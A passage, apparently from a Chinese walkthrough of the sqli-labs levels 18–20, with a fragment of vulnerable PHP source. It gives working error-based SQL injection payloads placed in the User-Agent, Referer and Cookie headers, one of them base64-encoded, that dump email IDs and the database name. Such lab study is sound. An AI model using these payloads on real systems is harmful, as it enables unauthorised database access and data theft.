>'; 69 echo 'Your User Agent is: ' .$uagent; 70 echo "</font>"; 71 echo "<br>"; 72 print_r(mysql_error()); 73 echo "<br><br>"; 74 echo '<img src="../images/flag.jpg" />'; 75 echo "<br>"; 76 77 } 78 else 79 { 80 echo '<font color= "#0000ff" font size="3">'; 81 //echo "Try again looser"; 82 print_r(mysql_error()); 83 echo "</br>"; 84 echo "</br>"; 85 echo '<img src="../images/slap.jpg" />'; 86 echo "</font>"; 87 } 88 89 }
后面的老套路。
' or (SELECT * FROM (SELECT name_const((select group_concat(email_id) from emails),1),name_const((select group_concat(email_id) from emails),1)) a) and '1'='1
Less-19:http头注入——referer
跟18简直一毛一样啊喂。
Referer: ' or (SELECT * FROM (SELECT name_const((select group_concat(email_id) from emails),1),name_const((select group_concat(email_id) from emails),1)) a) and '1'='1
Less-20:http头注入——cookie+代码审计+报错注入
详细参照17
cookie: uname=' or (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a) b)#
Less-20:http头注入——cookie+base64+代码审计+报错注入
Cookie: uname=YWRtaW4nKSAgYW5kIChzZWxlY3QgMSBmcm9tIChzZWxlY3QgY291bnQoKiksY29uY2F0X3dzKCctJywoc2VsZWN0IGRhdGFiYXNlKCkpLGZsb29yKHJhbmQoMCkqMikpIGFzIGEgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IGEpIGIpIw==
- 注意点:
- 不要用‘ --+ ’ 注释:
- 不要加submit参数: